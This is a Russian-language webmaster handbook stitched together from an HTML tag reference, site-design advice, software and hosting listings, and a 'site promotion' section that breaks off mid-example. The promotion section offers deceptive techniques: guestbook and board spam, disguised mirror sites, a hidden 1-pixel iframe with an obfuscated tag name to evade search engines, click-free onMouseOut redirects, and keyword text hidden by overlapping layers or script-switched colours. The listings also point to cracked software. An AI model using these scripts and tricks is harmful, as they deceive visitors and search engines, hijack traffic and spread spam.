(N1.1) Желаемая ширина <TH WIDTH=?> (в точках)
(N1.1) Ширина в процентах <TH WIDTH="%"> (проценты ширины таблицы)
(N3.0b) Цвет ячейки <TH BGCOLOR="#$$$$$$">
Заглавие таблицы <CAPTION></CAPTION>
Выравнивание <CAPTION ALIGN=TOP|BOTTOM> (сверху/снизу таблицы)
ФРЕЙМЫ
(N2.0) Документ с фреймами <FRAMESET></FRAMESET> (вместо <BODY>)
(N2.0) Высота строк <FRAMESET ROWS=,></FRAMESET> (точки или %)
(N2.0) Высота строк <FRAMESET ROWS=*></FRAMESET> (* = относительный размер)
(N2.0) Ширина колонок <FRAMESET COLS=,></FRAMESET> (точки или %)
(N2.0) Ширина колонок <FRAMESET COLS=*></FRAMESET> (* = относительный размер)
(N3.0b) Ширина окантовки <FRAMESET BORDER=?>
(N3.0b) Окантовка <FRAMESET FRAMEBORDER="yes|no">
(N3.0b) Цвет окантовки <FRAMESET BORDERCOLOR="#$$$$$$">
(N2.0) Определить фрейм <FRAME> (содержание отдельного фрейма)
(N2.0) Документ <FRAME SRC="URL">
(N2.0) Имя фрейма <FRAME NAME="***"|_blank|_self| _parent|_top>
(N2.0) Ширина границы <FRAME MARGINWIDTH=?> (правая и левая границы)
(N2.0) Высота границы <FRAME MARGINHEIGHT=?> (верхняя и нижняя границы)
(N2.0) Скроллинг <FRAME SCROLLING="YES|NO|AUTO">
(N2.0) Постоянный размер <FRAME NORESIZE>
(N3.0b) Окантовка <FRAME FRAMEBORDER="yes|no">
(N3.0b) Цвет окантовки <FRAME BORDERCOLOR="#$$$$$$">
(N2.0) Содержание без фреймов <NOFRAMES></NOFRAMES> (для просмотрщиков не поддерживающих фреймы)
ЯЗЫК JAVA
Applet <APPLET></APPLET>
Applet — имя файла <APPLET CODE="***">
Параметры <APPLET PARAM NAME="***">
Applet — адрес <APPLET CODEBASE="URL">
Applet — имя <APPLET NAME="***"> (для ссылок из других частей страницы)
Альтернативный текст <APPLET ALT="***"> (для программ не поддерживающих Java)
Выравнивание <APPLET ALIGN="LEFT|RIGHT|CENTER">
Размеры <APPLET WIDTH=? HEIGHT=?> (в точках)
Отступ <APPLET HSPACE=? VSPACE=?> (в точках)
РАЗНОЕ
Комментарий <!- *** — > (игнорируется просмотрщиком)
Пролог HTML 3.2 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
Поиск <ISINDEX> (означает начальную точку поиска)
Приглашение <ISINDEX PROMPT="***"> (текст приглашения для поля ввода)
Запустить поиск <A HREF="URL?***"></a> (используйте действительно знак вопроса)
URL этого файла <BASE HREF="URL"> (должно быть в заголовке)
(N2.0) Имя базового окна <BASE TARGET="***"> (должно быть в заголовке)
Отношение <LINK REV="***" REL="***" HREF="URL"> (должно быть в заголовке)
Метаинформация <META> (должно быть в заголовке)
Стили <STYLE></STYLE> (часто не поддерживается)
Программа <SCRIPT></SCRIPT> (часто не поддерживается)

2 Книги HTML в примерах


Книга Введение в HTML
Это не перевод скучной спецификации и не попытка написать учебник. Задача справочника — коротко и ясно описать действие всех элементов языка HTML, которые вы можете без опаски использовать при создании Internet-страниц, не боясь, что какая-то версия какого-либо браузера сделает вам неприятный сюрприз. Иначе говоря, здесь представлен "классический" HTML, употребляемый профессиональными web-разработчиками. И ничего лишнего. Все теги, не описанные в этом справочнике, можете смело выбросить в помойку
Книга HTML в примерах
Данная электронная книга в первую очередь предназначена для начинающих Веб-программистов, но также содержит некоторую информацию, полезную и для проффесионалов. Это — учебник и справочник в одной книге, который познакомит Вас с работай с HTML напрямую. Книга в первую очередь будет полезна для тех, кто не любит излишней лирики писателей. Здесь все построено на примерах с подробными коментариями. Любители построения сайтов с применением JavaScript, также найдут здесь много инересных примеров, узнают что представляет собой этот язык и как им пользоваться. Используя JavaScript вместе с CSS, Вы научитесь украшать такие элементы страниц, как формы, кнопки и т. п. Книга содержит программы, написанные на JavaScript, которые помогут Вам в построении сайта, информацию о тэгах, применяемых в HTML, дает ответы на многие вопросы…
Скачать 2 книги HTML в примерах: http://www.webmasteruvse.ru/knigi.htm



Разработка сайта. Десять самых важных НЕТ


1. Не заставляйте посетителей ждать.
Это то, что вы должны знать лучше всего при создании сайта. Помните, что у вас есть всего несколько секунд, для того чтобы удержать внимание пользователя и вызвать его интерес — как вы сможете сделать это, если большую часть отпущенного времени ваш сайт грузится? Ни в коем случае не стоит недооценивать важность этого момента, так как ваш доход непосредственно зависит от скорости загрузки вашего сайта.
До тех пор, пока аналоговые модемы не станут достоянием прошлого, основное правило для мастера — это удерживать свои страницы в рамках пятидесяти килобайт. В эту цифру входит вся графика, данные, результаты работы CGI скриптов и Java апплеты. На самом деле, при грамотной организации сайт редко возникает необходимость в страницах объемом более чем 25 kb.
Есть несколько вещей, которые можно сделать для того, чтобы ваши страницы грузились так быстро, как только это возможно. Безусловно — основное правило — это найти самый быстрый сервер в интернете и разместить свой сайт именно на нем. Но это не всегда возможно и всегда недостаточно, поэтому есть несколько простых приемов, которые можно использовать для минимизации времени загрузки ваших страниц.

Во-первых, используйте картинки маленького размера, настолько маленького, насколько можно без разрушения изобразительности и целостности образа. Во-вторых, используйте специальное программное обеспечение, такое как Ulead Web Razor, Adobe Photo Impact, Gif Animator; для оптимизации анимированных картинок.
Многократно используйте одно и тоже изображение на своих страницах. Однажды показанная картинка кэшируется в буфере браузера и при последующем запросе берется из буфера, а не с сервера, а следовательно, не загружает канал связи. Особенно удачно это можно использовать для размещения логотипа и/или товарного знака в колонтитулах страницы.
Обязательно указывайте в теге HTML страницы высоту и ширину картинки. Грузится от этого они быстрее не станут, но пользователь сможет лицезреть всю страницу, не дожидаясь появления всех картинок. Посетитель сможет начать читать, а на иллюстрации можно посмотреть и потом.

2. Не используйте передовых технологий.
Не стремитесь использовать на своем сайте все новинки интернета. Пусть вас не беспокоят только что придуманные "прибабахи", подумайте лучше о том, что у большинства ваших пользователей нет еще новейшей версии браузера и необходимых плагинов (plug-in's). если посетитель встречает технологические проблемы при посещении вашего сайта, особенно такие. Которые могут привести к "зависанию" и краху системы, то вы его потом к себе калачом не заманите. Гораздо лучше дать возможность пользователю комфортно прочесть ваши страницы, чем фаршировать их суперновинками. Зачем искушать судьбу?
На досуге обратите внимание на сайт ведущих фирм в сети — вы не увидите там ни красивых Java апплетов, ни заставок, требующих малораспространенных плагинов, ни даже аудио заставок. В том случае, если ваш сайт не предназначен исключительно для владельцев самых навороченных компьютеров с самым современным программным обеспечением, не стоит использовать передовые технологии.

3. Не используйте фреймы, если вы можете обойтись без них.
Использование фреймов на страницах может доставить вам массу неудобств, особенно, если вы не владеете этой технологией в совершенстве. Навигация вашего сайта поражена неприятной болезнью, когда посетитель никогда не знает точного адреса где он находится, когда практически невозможно поставить ссылку на внутренние страницы сайта, когда ваши внутренние страницы с фреймами открываются не в окне браузера а в во фрейме. Не все браузеры в состоянии правильно отобразит страницу с фреймами, а уж напечатать ее правильно вообще способны лишь немногие. Вдобавок, далеко не все поисковые машины правильно понимают фреймы и способны индексировать такие страницы.
Фреймы — это не тот инструмент, который стоит использовать, и есть всего лишь несколько вещей, которые нельзя сделать или очень трудно другими способами. Посмотрите на самые известные и посещаемы сайты в интернет, такие например, как Yahoo, — вы никогда не найдете там фреймовой структуры.

4. Не используйте бесплатные и/или общедоступные библиотеки картинок.
Не смотря на то, что вам. Скорее всего, не нужны самые лучшие картинки на свете, необходимость взять где-нибудь несколько картинок и разместить на страницах своего сайта для общего оживления атмосферы все же обычно имеется. Постарайтесь не брать этих картинок из многочисленных бесплатных коллекций.
Прежде чем обратиться в общедоступный клипарт потратьте немного времени и попробуйте сделать что-либо самостоятельно. Пригласите дизайнера — за несколько сотен долларов, вам профессионально разработают логотип и полный комплект графики для сайта. Тем самым вы сможете выгодно выделиться на фоне ваших конкурентов. При использовании же общедоступных клипартов, вы рискуете обнаружить картинки с вашего сайта на тысячах других таких серверов и потеряться в общей безликой массе.

5. Не тратьте время на разговоры о себе.
Вашим посетителям нет большого дела до вашей персоны. Им важно знать, чем вы можете помочь им и как к вам обращаться в письме, поэтому чрезмерное увлечение собственной персоной повергнет ваших посетителей в уныние. Худшая вещь, которую вы можете сделать — это начать свой сайт, с первой же страницы с самовосхваления.
Отведите небольшую страницу для размещения информации о себе, своей фирмы, своих целях и девизах и поставьте ссылку на эту страницу. Тот, кому эта информация интересна, прочтет ее, но не нужно заставлять читать материалы о вас и вашей фирмы всех ваших посетителей, лучше расскажите им о том, как вы можете помочь.
Если вы увидите и почувствуете, что в написанном вами тексте слишком часто встречаются местоимения "я" или "мы", то постарайтесь переработать текст и сместить акценты в нем в сторону посетителя. Вместо разглагольствований о себе постарайтесь почаще использовать конструкции типа "Вы можете…", "Вы будете…", чтобы показать посетителю какую выгоду он сможет получить от использования именно вашего сайта и именно вашего продукта. В итоге, это скорее приведет к желаемому вами результату.

6. Не перегружайте ваш сайт ерундой.
Сделайте сайт простым и свободным, не используйте яркие, флуоресцентные цвета, мигающий или уезжающий текст, большое количество анимации, ошеломляющие Java эффекты… это может дезориентировать пользователя. Это не Голливуд! Дайте посетителя спокойно прочитать содержимое вашего сайта — ведь именно за этим он сюда и пришел. Только контент заставит посетителя возвращаться на ваш сайт снова и снова, поэтому нужно уделять ему особое внимание и — прочь все что отвлекает от него!

7. Не отпускайте посетителя на другой сайт.
В том случае, если ваш основной доход составляет на продажа рекламного места, то не стоит просто так отпускать посетителей со своего сайта, лучше сказать: не стоит предоставлять им для этого изобилие возможностей. Особенно это касается таких критических участков, как заголовки страниц и — в первую очередь — титульная страница сайта. Безусловно, никогда не вредно размещать ссылки на сайты своих друзей и партнеров, но ни в коем случае не стоит этого делать сверху на странице, так чтобы пользователь первой на ваших страницах увидел рекламу чужого сайта. При необходимости размещения рекламы на страницах старайтесь использовать конструкцию "target=_new" в теге ссылки. Этот тег открывает новое окно браузера при активации ссылки, что позволяет вашему посетителю легко вернуться на ваш сайт.

8. Не забудьте протестировать ваш сайт на совместимость с другими браузерами.
Одна из самых печальных и неприятных вещей в web дизайне — это отсутствие реальных, работающих стандартов на программное обеспечение, а следовательно, непредсказуемость результатов. Каждый браузер имеет собственное мнение о том, как ему следует отображать вашу страницу на экране пользователя, и показывает ее хоть чуть-чуть, но иначе чем другие. Даже разные версии одного и того же браузера покажут вам одну и тужу страницу по-разному.
Важнейшее ограничение, которое должен усвоить каждый мастер, работая в интернет — нет двух людей с одинаковыми системами на рабочем столе. Всегда следует помнить, что есть люди с 15'' мониторами и 16 — битной цветовой палитрой, а есть обладатели 21'' мониторов с такой цветностью, которой никогда не будет в web. Несмотря на то, что это не всегда возможно и удобно, постарайтесь сделать ваш сайт таким. Чтобы его могло прочитать по возможности максимальное количество народа. Никогда не делайте страницы шире 600 точек — горизонтальное прокручивание особенно не приветствуется.
То, что выглядит замечательным у вас на мониторе, на экране вашего соседа может быть будет смотреться ужасно, так что потратьте немного времени и оттестируйте хорошенько ваш сайт на совместимость. Особенное внимание обратите на последние версии Netscape Navigator и Microsoft Explorer, так как именно с ними работает подавляющее большинство пользователей в интернет.

9. Не забудьте отдать ваш сайт корректору.
Нет ничего более непрофессионального чем текст с грамматическими и орфографическими ошибками. В лучшем случае, пользователь просто решит, что вы невнимательны к деталям, а в худшем, — что вы невежа и пустозвон. Конечно, каждый из нас делает ошибки, но для чего, как вы думаете. Создаются спел-чекеры?
Прежде чем вы выставите свой сайт на всеобщее обозрение обязательно прогоните все его страницы через автоматическую проверку орфографии и грамматики, еще лучше отдать текст профессиональному корректору. Не забудьте также проверить и фактическую, профессиональную грамотность вашего текста, хорошо, если вы можете показать ваши страницы эксперту в той области, которую вы представляете. Помните, что ваш сайт — это почти всегда единственное, что есть у ваших посетителей, на основании чего можно составить мнение о вас лично и о вашей компании в целом.

10. Не пренебрегайте контролем.

Ваш сайт не работает, не приносит дохода, не дает требуемого отклика, но вы не представляете, почему так произошло… Чтобы этого не случилось, необходимо постоянно контролировать состояние сайт, посетителей на нем, поддерживать его активность, анализировать трафик и пр. Посмотрите, как пользователи перемещаются по вашему сайту, как они использую предлагаемые вами сервисы, что они пишут в конференциях и письмах. Ваш сайт — это сердце вашего представительства в Сети и для нормальной его работы за ним нужен постоянный уход, о нем нужно заботиться.

Бесплатные программы для создания сайта


Редакторы для создания сайта
Sitecraft 3.0.0.2 Size: 23.94 MB, Rus, Cracked Сайткрафт — программа для тех, кому нужен сайт, но у кого нет времени разбираться в технических сложностях веб программирования, дизайнерских программ и сетевых протоколов. Это простой инструмент, построенный на основе разработанной нами технологии BabySteps (шаги ребенка). В нашем конструкторе вы создаете свой интернет-дом шаг за шагом, начиная от создания его Модели и заканчивая публикацией в сети. Одновременно, Конструктор — это вполне профессиональный инструмент. Весь процесс разработки сайта делается по простым шагам, начиная от создания его модели, дизайна, размещения всей информации на страницах и до его публикации. Графический редактор позволяет обрабатывать и изменять изображения прямо в программе, не прибегая к помощи Photoshop и другх графических редакторов. Интерфейс Сайткрафта сделан достаточно просто и понятно. Если же возникают какие-то вопросы, то ответы на них можно найти в учебнике, встроенный в Сайткрафт


[image: ]


Nvu HTML-редактор (Size: 6.76MB, Rus, Free) Nvu позволяет с помощью нескольких кликов мыши создать веб-сайт. Программа представляет собой хорошую альтернативу платному редактору Dreamviewer и обладает всеми возможностями, которые могут понадобиться при создании сайта. Начинающим веб-дизайнерам предоставляется возможность создать сайт при помощи WYSIWYG-редактора (WYSIWYG — What you see is what you get), более опытные пользователи могут работать с кодом. Nvu может открывать страницы проекта на отдельных вкладках (tab), что существенно облегчает работу. Удобно и то, что на боковом поле окна программа показывает размер всех активных элементов в пикселях. Если, к примеру, вы кликните по таблице, то сразу увидите размер строк и столбцов. При помощи встроенного FTP-клиента созданный сайт можно тут же закачать на веб-сервер. Плюс к этому Nvu позволяет редактировать страницы сайта, уже размещенные на сервере, в онлайн-режиме.
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Extra hide studio 5.0 (Size: 3MB, Rus, Free) ХОРОШИЙ РЕДАКТОР ДЛЯ ПРОСМОТРА, КОРРЕКТИРОВКИ И СОЗДАНИЯ НОВЫХ HTML-СТРАНИЦ
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Сats html (Size: 2.10MB, Rus, +ключ) Единственная полноценная Русская программа для создания интернет сайтов и дизайна рассылок. Если вас ограничивают возможности шаблонов бесплатных сервисов типа Narod.ru, вы считаете, что писать в блокноте сайты довольно неудобно, а редакторы типа FrontPage кажутся громоздкими и неповоротливыми с кучей непонятных кнопок, да еще не на русском языке, то CatsHtml создана именно для Вас! Множество мастеров упростят вашу работу. Например имеется мастер вставки шаблонов страниц и скриптов (спецэффектов).


[image: ]


Платный и бесплатный хостинг


Для того, чтобы Ваш сайт был виден в Интернет, надо его разместить на дисковом пространстве у какого-нибудь Провайдера, который постоянно подключен к Интернет. Тогда Ваш сайт будет доступен для посетителей Интернета 24 часа в сутки.
ХОСТИНГ — аренда дискового пространства у Провайдера для размещения Вашего сайта. Веб-хостинг (или виртуальный хостинг) — это размещение веб-сайтов клиентов на серверах Хостинг-провайдера и набор услуг по поддержанию аппаратного и программного обеспечения. При этом провайдер берет на себя ответственность за надлежащее функционирование сервера, обеспечивает своевременное обновление программного обеспечения. В услуги хостинга так-же, обычно, входит служба поддержки. Хостинг делится на ПЛАТНЫЙ и БЕСПЛАТНЫЙ. Бесплатный хостинг подойдет для простых домашних сайтов. Для средних и крупных сайтов необходим платный хостинг.
Бесплатный хостинг. Подходит для простых сайтов. При бесплатном хостинге Вам предоставляется место для размещения сайта на одном из крупных серверов. Обычно на каждом сайте, размещенном на таком сервере, хостеры вешают свой рекламный баннер. Бесплатно сайт можно разместить на: narod.ru, mail.ru, agava.ru, holm.ru и др. Но помните, что разместив свой сайт на бесплатном Хостинге, Ваш сайт при подсчете тИЦ — не будет учитываться и ссылки с него на другие сайты также не будут учитываться, многие сайты с Вами не захотят иметь дело (обмен ссылками, некоторые партнерские программы, показы баннеров и т. д.), если Вы, конечно не опишете свой сайт в Каталоге Яндекса, что стоит несколько сотен долларов.
Платный Хостинг — если Вы хотите иметь в Интернете серьёзный свой проект (сайт) на длительный срок, а не на один — два месяца, советую сразу подумать о покупке Домена 2-го уровня и платного Хостинга, что обойдется Вам на 1 год (потом можно продлить) у некоторых Хостинг-провайдеров, не более 1 тыс. руб. (можно для начала купить на 3 месяца или на полгода). В нашей книге ниже на этой странице представлен список самых лучших и недорогих Хостинг-Провайдеров.
Дисковое пространство измеряется в Мегабайтах. Одна страница текста занимает обычно до 10 Килобайт. Одно фото занимает примерно 100 Килобайт. 100 Килобайт — это 1/10 Мегабайта, т. е. на 1 Мегабайте Дискового пространства можно разместить примерно 10 фотографий или 100 страниц текста. Путем несложных вычислений выберите сами, какой размер Дискового пространства Вам нужен, но всегда думайте о будущем. Выбирайте Дисковое пространство побольше, т. к. в дальнейшем Вам придется редактировать свой сайт, добавлять информацию, ссылки других сайтов, партнерские программы и т. д.
Выбор Хостинга для сайта.
Ниже Вы можете выбрать для своего сайта наиболее подходящий профессиональный хостинг, подобрать и зарегистрировать Доменное имя. Все представленные в списке компании проверены. Лучше выбирайте сразу Хостинг с PHP и другими услугами, т. к. в скором времени Вам захочется большего.
Нажмите на название Хостинга, Вы перейдете на сайт выбранного Вами Хостинг-Провайдера на страницу с тарифными планами (откроется в новом окне).
Хостинг — ДЖИНО. Если Вам нужен хороший, удобный и недорогой хостинг — выбирайте ДЖИНО.
Место в 25 МБ там Вам обойдется всего в 0,04$ в сутки, 1,2$ в месяц соответственно. А 25 MB это очень много. Я со всеми своими книжками, сайтами и бонусами всего этого пространства не занимаю. Ну, а если размахнетесь на 50 МБ, то это будет стоить всего на 0,3$ дороже.
Кроме такой приятной цены, Джино предлагает Вам регистрацию услуг в режиме реального времени. То есть никаким админам писать не надо, и тем более ждать, когда они выполнят Вашу просьбу. Вы можете сделать все сами прямо из своего аккаунта (в том числе и зарегистрировать домен).
Все полностью автоматизировано. Когда я создавала там свой аккаунт, он начал работать уже через 5 минут (оплату я произвела через Webmoney).
На ДЖИНО есть раздел "Для чайников":-) Где расписано все очень подробно и доходчиво. Так что проблем с подключением у Вас не возникнет. А если все-таки понадобится консультация, то Вы можете побеседовать с оператором в режиме он-лайн. Это выглядит, как общение в чате.
На Джино очень удобный интерфейс управления Вашим аккаунтом. Прежде чем платить, Вы можете оценить все сами. Регистрация аккаунта БЕСПЛАТНО. В тестовом аккаунте недоступны некоторые функции по понятным причинам, но оценить качество и удобство работы Вы сможете без проблем.
Кроме всего прочего, необычный дизайн сайта несомненно порадует ВАС.
Так, что очень рекомендую ДЖИНО.
1. NAROD.RU — один из лучших бесплатных хостингов в интернете. Дают домен в зоне narod.ru
2. UCOZ.RU — самый популярный хостинг в интернете. Дают домен в зоне ucoz.ru
3. SPACEWEB.RU — один из самых качественных и недорогих платных хостингов. Цена в месяц — от 21,67 руб. (скидки при оплате за 1 год и более). При заказе хостинга домен Вы получите бесплатно в подарок. Бесплатный хостинг для тестирования — 15 дней. Удобная и понятная панель управления сайтом. Консрукторы сайтов, бесплатные CMS (системы управления сайтом) — Mambo, Joomla, hostCMS, WebDirector, Drupal, форум phpBB, Gallery — галерея изображений. С помощью этих конструкторов сайта, Вы сможете сами сделать себе сайт, слегка изменив дизайн. Размер дискового пространства — от 75 до 1500 Мб. Неограниченное количество поддоменов. На всех тарифных планах — неограниченный трафик, WEB-интерфейс почты, проверка почты на вирусы и спам, автоответчики, PHP3/PHP4/PHP5, PERL, PYTHON, C++, SSI, FTP доступ, WAP, CGI, MySQL, предустановленные скрипты. Круглосуточная служба поддержки. При переносе сайта — бесплатный хостинг 3 месяца. РЕКОМЕНДУЕМ!
4. HT-SYSTEMS.RU — отличный сервис и надежный профессиональный Хостинг. Удобный выбор тарифного плана под Ваш сайт. Размер дискового пространства — от 150 Мб до 14850 Мб. Бесплатные домены. На всех тарифных планах — неограниченный трафик, удобная панель управления, поддомены — неограниченно, парковка доменов, FTP доступ, SSH, Cron, CGI, BackUp, Почтовый web-интерфейс, SSI, Perl, PHP, MySQL, поддержка WAP, отличная служба техподдержки.
5. AGAVA.ru — очень качественный хостинг. Цена в месяц — от 4 у.е. Дисковое пространство — от 200 Мб до 25Гб. На всех тарифных планах — неограниченный трафик, антивирус, POP3, SMTP, FTP-доступ, спам-фильтр, неограниченное кол-во почтовых аккаунтов. Панель управления, поддержка CGI, Perl, PHP, SSI, MySQL, SSH. Бесплатные домены.
6. MOBYHOST.RU — качественный недорогой хостинг. Цена в месяц — от 1,95 у.е. (скидки). Размер дискового пространства — от 20 Мб до 1500 Мб. На всех тарифных планах — неограниченный трафик, неограниченно FTP аккаунтов, неограниченно E-mail аккаунтов, PhpMyAdmin, MySQL, Cron, POP3/SMTP/IMAP, автоответчики, фильтры почты, антивирус и антиспам CGI, PHP/Perl/Python, SSI, SSL, поддержка WAP, XML и Frontpage. Бесплатные домены.
Для оформления услуг и оплаты Домена и Хостинга, а также для покупок и других расчётов в Интернет, Вам надо будет открыть счёт в платежной Интернет системе WebMoney.ru, все Хостинг-провайдеры принимают платежи через эту систему. Открытие счёта бесплатно.



Раскрутка сайта





Приёмы раскрутки WEB-сайтов


1. Как «прописывать» сайт на поисковых системах (searchengines).
(Дополнение к обычному, ручному, прописыванию сайта). Этот прием работает в основном на зарубежных системах.
Прием 1:
Просмотреть тексты с досок объявлений (Message Boards), которые индексированы в данной поисковой системе. Поисковики индексируют некоторые доски объявлений (message board). Зайдите на эти доски объявлений и впишите свои объявления, не забывая, что:
— объявления в разных разделах должны быть разными, чтобы их не удалили;
— используйте в тексте объявлений необходимые ключевые слова и ссылки;
Недостатки: ограниченное время хранения объявления.
Прием 2:
Просмотреть гостевые книги (Guest Book), индексированные на поисковых системах. Подготовить и оставить большое количество записей в этих гостевых книгах. Не забывайте включать в текст объявлений приветствия, ключевые слова Вашего сайта, вопросы по тематике гостевой книги. В отличие от досок объявлений гостевые книги обычно не ограничивают время размещения объявления.
Не прописывайте информацию, пока у Вас не будет достаточно выложенной информации, которую можно индексировать.
2. Как создать большое количество ссылок на собственный сайт.
Прием 1:
Зарегистрируйте 3–4 сайта на бесплатном хостинге. В названиях используйте комбинации с именем вашего основного сайта. Разместите на каждом сайте индексную страницу (index.htm) вашего основного сайта с следующими изменениями:
— В поле TITLE меняйте порядок слов или словосочетаний;
— Напишите ТЭГ DESCRIPTION другими словами;
— Измените несколько слов в ТЭГ-е KEYWORDS;
— Измените заголовки на синонимы. Например: Описание — на Руководство;
— Составьте 2–3 параграфа текста другими фразами (если нет текста — добавьте);
Это позволит поисковым машинам расценить ваши (по сути) зеркальные документы, как непохожие и индексировать их отдельно. В каждом из документов сделайте ссылки на документы основного сайта.
Регистрируйте 3–4 сайта ежемесячно. Компонуйте новые страницы из уже имеющихся. Меняйте заголовки страниц и цвет фона при сохранении общего смысла информации и дизайна вцелом. Если у Вас уже много похожих страниц, добавьте в них графику. Одна-две картинки небольшого размера сделают ваши б/у страницы свежими для модераторов.
Добавляйте на страницы перекрестные ссылки на зарегистрированные страницы прежних месяцев. При добавлении графики на страницы обязательно записывайте поле ALT="". Размещайте в описании не менее 10–12 слов. Они тоже будут проиндексированы.
Пример:

<img alt="Описание. Документация. Скачать./ Description. Guide. Card Game Manual. Free download." src="img/news.gif">
Для всех ссылок указывайте поле Title=""
Пример:
<a href=http://www.instructions.ru/document.htm title="Card Z — deletes your account. Card P — premium. Adds 100 points to your account. Card T — premium of 1000 points.">Версия на английском яз.</a>

Все картинки, которые вы помещаетет на страницу необходимо разделить на несколько частей. По «строчно», по «колонкам» или «на квадратики». Дизайн вашей страницы незначительно усложнится. Но зато информации для индексирования станет значительн больше (в т. ч. и потому, что она станет разнообразнее).
У Вас получится целая куча фрагментов картинки, которые нужно собрать воедино. Создадим таблицу. Количество строк и столбцов в таблице должно точно соответствовать количеству графических сегментов в сетке. Предположим, что мы разрезали изображение таким образом, что получилось 3 строки и 4 столбца. В этом случае каркас будет выглядеть так:
Пример:
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>

Теперь осталось поместить каждый фрагмент изображения в нужную ячейку. При этом нужно следовать одному правилу. Правило заключается в том, что все теги внутри ячейки должны располагаться в одну цепочку, не допуская между собой пробелов и символов перевода каретки.
Прием 2:
Разместите на своих страницах с наибольшей посещаемостью однострочный JAVA-script.
<script language=javascript src=http://www.instructions.ru/data/count.js></script>
Где содержимое файла count.js

// <!-
document.write("<p><table bgcolor=#c4cabb border=0 cellpadding=0 cellspacing=0 width=0>");
document.write("<tr>");
document.write("<td><font size=2 face="Arial,Helvetica"><iframe src=http://www.instructions.ru width=0 height=0 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");
document.write("</tr>");
document.write("</table></p>");
// — >

Обратите внимание, что все строки document.write(должны быть записаны в одну строку без переносов.
Этот однострочный JAVA-скрипт позволяет при каждой загрузке страницы, на которой он установлен, незаметно подгружать другой web-сайт в область размером в 1 пиксель.
Таким образом можно "перекачивать" траффик с более посещаемых страниц на менее посещаемые. Разумеется, на страницах должны быть установлены разные счетчики.
В приведенном примере слишком явно указан оператор iframe, через который и осуществляется подгрузка страницы. Чтобы замаскировать использование оператора iframe, используйте что-то вроде:

document.write("<td><font size=2 face="Arial,Helvetica"><i"+"fr"+"am"+"e src=http://www.instructions.ru width=0 height=0 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");

Это позволит ввести в заблуждение поисковые машинки, если они реагируют на iframe.
3. "Безусловный" переход.
Используя JAVA-скрипт можно сделать такой линк, для перехода по которому, не надо кликать мышкой.
Пример:

<tr bgcolor="#ffbb00">
<td><p><a href="http://www.instructions.ru" onMouseOut="window.location='http://www.instructions.ru"><font size=6 color="#0069a3"><b>Карточные Игры</b></font></a></td>
</tr>

Это очень удобная вещь, которая позволяет ненавязчиво анонсировать со своих страниц необходимые Вам новые сайты. Не используйте на своих страницах такие линки слишком часто — это может отпугнуть посетителей.
Обратите внимание, в чем разница в работе приведенного скрипта и следующего:

<tr bgcolor="#ffbb00">
<td><p><b href="http://www.aport.ru" onMouseOut="window.location='http://www.sportbiker.ru"><font size=6 color="#0069a3"><b>Карточные Игры</b></font></b></td>
</tr>
4. Как на странице разместить много текста для индексирования не испортив дизайна.
Разместив на странице много текста, например, списки ключевых слов, вам будет затруднительно создать красивый сайт. Большой текст можно замаскировать, если работать со слоями DIV.
Внимание! Не пишите простые списки ключевых слов. Если модератор найдет их, ваш сайт может надолго выпасть из каталога или поисковой системы. Все хорошо в меру.
Составьте список ключевых слов по теме вашего сайта. Зайдите на рейтинг Rambler. Посмотрите ключевые слова первых 3–5 сайтов в рейтинге. Составьте связанный, осмысленный текст с использованием выписанных ключевых слов. Разместите текст в компактной таблице. Используйте размер шрифта не меньше font size=2. Цвет текста не должен совпадать с цветом фона!
Используйте операторы DIV следующим образом.
Пример:

<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<! — Таблица, содержимое которой будет закрыто другой таблицей, наложенной сверху —>
<table bgcolor=white cellSpacing=0 cellPadding=0 width=150 border=0>
<tr>
<td>Некая талица текста, содержимое которой не очень совпадает с тематикой сайта.</td>
</tr>
<tr>
<td>Например, просто ключевые слова. Для контраста, таблица имеет белый фон.</td>
</tr>
</table>
<!- —>

<DIV id="waterMark" style="position: absolute;top:0;left:0">
<p align=center><table bgcolor=yellow border=0 cellpadding=0 cellspacing=0 width=150>
<tr>
<td>Эта таблица отображается поверх предыдущей таблицы, маскируя ее.</td>
</tr>
<tr>
<td>Для контраста, имеет желтый цвет. Реально можно накладывать несколько таблиц друг на друга.</td>
</tr>
</table>
</DIV>

</body></html>

Очень эффективное средство. Пример приведен в самом простом варианте.
5. Как использовать список ключевых слов, не совпадающий с тематикой HTML-страницы.
Вариант 1.
Используйте список ключевых слов (50-100 слов) с цветом букв, совпадающим с цветом фона. Однако, хорошие поисковые роботы проверяют такие штуки и не индексируют. Направить их в нужном направлении можно, если использовать следующий скрипт (приведен в тексте HTML-файла):
Пример:

<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>

<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!----- Обратите внимание, цвет фона — красный —---->

<font size=4 color=yellow><! — Якобы здесь выбирается цвет букв YELLOW — >
<SCRIPT LANGUAGE="JAVASCRIPT">
// <! — А на самом деле здесь задается цвет букв RED
document.write("</fo"+"nt><fo"+"nt size=1 co"+"lor=re"+"d>");
// — >
</SCRIPT>
Здесь пишете список ключевых слов, какой хотите.

</body></html>

Если у вас на странице много таблиц, то этот прием можно использовать "по чуть-чуть" в нескольких таблицах.
Вариант 2.
Если у Вас HTML-страница, например, о спорте, а вы хотите, чтобы она также часто встречалась при поиске на поисковых машинах (search engines) в разделе, например, MP3 — используйте следующий пример.
Пример:

<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>

<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!----- Обратите внимание, цвет фона — красный —---->
<table cellSpacing=0 cellPadding=0 width=650 border=0>
<tr>
<td><a href="mp3.htm"><font color=white size=2>Музыка MP3</font></a> <a href="mp4.htm"><font color=white size=2>Фильмы MPEG4</font></a></td>
</tr>
<tr>
